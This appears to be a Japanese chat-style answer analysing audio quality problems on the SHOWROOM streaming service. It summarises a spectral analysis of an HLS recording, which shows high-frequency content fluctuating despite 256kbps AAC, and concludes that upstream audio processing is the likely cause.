4. だから評価は二段に分けるべきである。
4-1. 理解していた可能性が高い部分
「低遅延がインタラクション価値を上げる」というプロダクト上の原理は理解していた可能性が高い。
4-2. 甘かった可能性が高い部分
音声品質の揺れ、再符号化、共通経路の劣化、実運用時のQA、監視、ロールバック判断。
ここは、外から見える症状からすると甘かった疑いが強い。
5. よって、一番正確な言い方はこれである。
「原理を理解していなかった」のではなく、
「低遅延の価値は理解していたが、低遅延化に伴う音声品質リスクの吸収と検証が足りなかった可能性が高い」
要するに、思想は理解していた可能性が高い。
だが、実装・QA・品質担保が追いついていない疑いが強い。
> 録画音声のスペクトル分析結果について整理して
録画音声のスペクトル分析結果
1. まず事実として、このHLS録画ファイル自体に「高域の出方の揺れ」が入っている。
つまり、録画後の気のせいではなく、保存された音声データ上で確認できる。
2. コンテナ情報上は、音声は AAC-LC / 48kHz / stereo / 約256kbps だった。
したがって、
「HLS録画は低ビットレートAACだから悪い」
とは言い切れない。
少なくともファイルの表面上は256kbps級である。
3. しかし、スペクトルの中身を見ると、高域成分は時間によって大きく変動している。
0〜45秒付近では、14〜17kHz近辺まで比較的しっかり成分が見える。
一方で、75秒以降は10kHz以上の成分がかなり薄くなり、帯域が狭くなったような見え方が増える。
4. 数値でも同傾向が出ている。
4-1. 99% spectral rolloff
前半(0〜45秒)平均:約11.4kHz
後半(75〜180秒)平均:約4.1kHz
4-2. 10kHz以上のエネルギー比
前半平均:約1.7%
後半平均:約0.07%
5. この意味は、
「最終ファイルは256kbps AACなのに、中身の高域情報はかなり揺れている」
ということ。
つまり、問題は
「AACの表記ビットレートが低いから」
ではなく、
「その前段で既に帯域感が揺れた音が入ってきている」
可能性が高い。
6. パケット時系列やタイムスタンプ上は大きな破綻は見えにくかった。
そのため、
「録画ツールの取りこぼし」
「TSファイル破損」
が主因である可能性は低い。
7. このファイル単体ではまだ断定できないこともある。
7-1. これが Opus の動的帯域変化を AAC に焼き直した結果なのか
7-2. SHOWROOM側の共通上流音声処理で既に揺れていたのか
7-3. 元の配信内容自体の違いによるものなのか
ここまでは、この1本だけでは100%断定できない。
8. ただし実務上の結論はかなり強い。
HLS録画そのものに症状が入っており、
しかも表面上は256kbps AACで保存されている。
したがって、
「HLS末端で単純に低ビットレート化しただけ」
というより、
「HLS/WebRTCに分岐するより上流の共通音声処理系で帯域感が揺れている」
と考える方が筋がよい。
9. 要するに、
このスペクトル分析結果は
「音ブレは実在する」
「しかもHLS録画物にも焼き付いている」
「単なる録画失敗や末端AACビットレート不足では説明しにくい」
ことの補強材料になる。
-
Participating Events
